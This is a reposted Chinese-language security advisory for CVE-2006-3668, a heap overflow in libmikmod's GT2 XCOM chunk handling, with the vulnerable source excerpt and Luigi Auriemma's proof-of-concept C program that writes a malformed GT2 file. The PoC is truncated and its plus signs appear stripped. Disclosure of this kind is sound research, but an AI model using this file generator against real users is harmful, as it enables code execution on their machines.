Libmikmod XCOM处理器远程堆溢出漏洞

2008-04-09 04:19:13来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Libmikmod XCOM处理器远程堆溢出漏洞

发布日期:2006-07-24
更新日期:2006-07-26

受影响系统:
mikmod libmikmod <= 3.2.2
描述:
BUGTRAQ ID: 19134
CVE(CAN) ID: CVE-2006-3668

libmikmod是Mikmod所使用的函数库,主要用于播放各种类型的音频模块。

libmikmod在处理XCOM对象时存在堆溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。

在处理XCOM块时libmikmod读取了用于指定标注大小的32位数字,然后分配等于该大小加1的内存,以容纳标注末尾可能的空字节。因此如果攻击者使用了0xffffffff值(0xffffffff 1 = 0)的话,函数库就可能分配0字节的内存。然后在试图读取大小值所指定的内存数量时,就会导致堆溢出。

loaders/load_gt2.c中的漏洞代码:

GT_CHUNK *loadChunk(void)
...
if (!memcmp(new_chunk, "XCOM", 4)) {
new_chunk->xcom.chunk_size = _mm_read_M_ULONG(modreader);
new_chunk->xcom.comment_len = _mm_read_M_ULONG(modreader);
new_chunk->xcom.comment = MikMod_malloc(new_chunk->xcom.comment_len 1);
_mm_read_UBYTES(new_chunk->xcom.comment, new_chunk->xcom.comment_len, modreader);
return new_chunk;
}
...

<*来源:Luigi Auriemma (aluigi@pivx.com)

链接:http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt
http://secunia.com/advisories/21196/print/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER "0.1"



#define cpy(x,y) strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);



#pragma pack(1)

typedef struct {
uint8_t gt2[3];
uint8_t version;
uint32_t chunk_size;
uint8_t module[32];
uint8_t comments[160];
uint8_t date_day;
uint8_t date_month;
uint16_t date_year;
uint8_t tracker[24];
uint16_t speed;
uint16_t tempo;
uint16_t volume;
uint16_t voices;
/* voices * 2 */
} gt2_t;

#pragma pack()



int main(int argc, char *argv[]) {
FILE *fd;
gt2_t gt2;
int i;
char *fname;

setbuf(stdout, NULL);

fputs("\n"
"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <output_file.GT2>\n"
"\n", argv[0]);
exit(1);
}

fname = argv[1];

printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();

gt2.gt2[0] = 'G';
gt2.gt2[1] = 'T';
gt2.gt2[2] = '2';
gt2.version = 4;
gt2.chunk_size = 0; // unused
cpy(gt2.module, "module_name");
cpy(gt2.comments, "author");
gt2.date_day = 1;
gt2.date_month = 1;
gt2.date_year = 2006;
cpy(gt2.tracker, "tracker");
gt2.speed = 6;
gt2.tempo = 300;
gt2.volume = 0;
gt2.voices = 0;

printf("- write GT2 header\n");
fwrite(&gt2, sizeof(gt2), 1, fd);
for(i = 0; i < gt2.voices; i ) fwi16(fd, 0);

printf("- build the XCOM header for exploiting the heap overflow\n");
fwmem(fd, "XCOM", 4);
fwi32(fd, 0); // unused
fwi32(fd, 0xffffffff); // bug here, 0xffffffff 1 = 0
fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

fclose(fd);
printf("- finished\n");
return(0);
}



void fwi08(FILE *fd, int num) {

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:AGEphone SIP报文处理缓冲区溢出漏洞

下一篇:OpenCMS多个非授权访问漏洞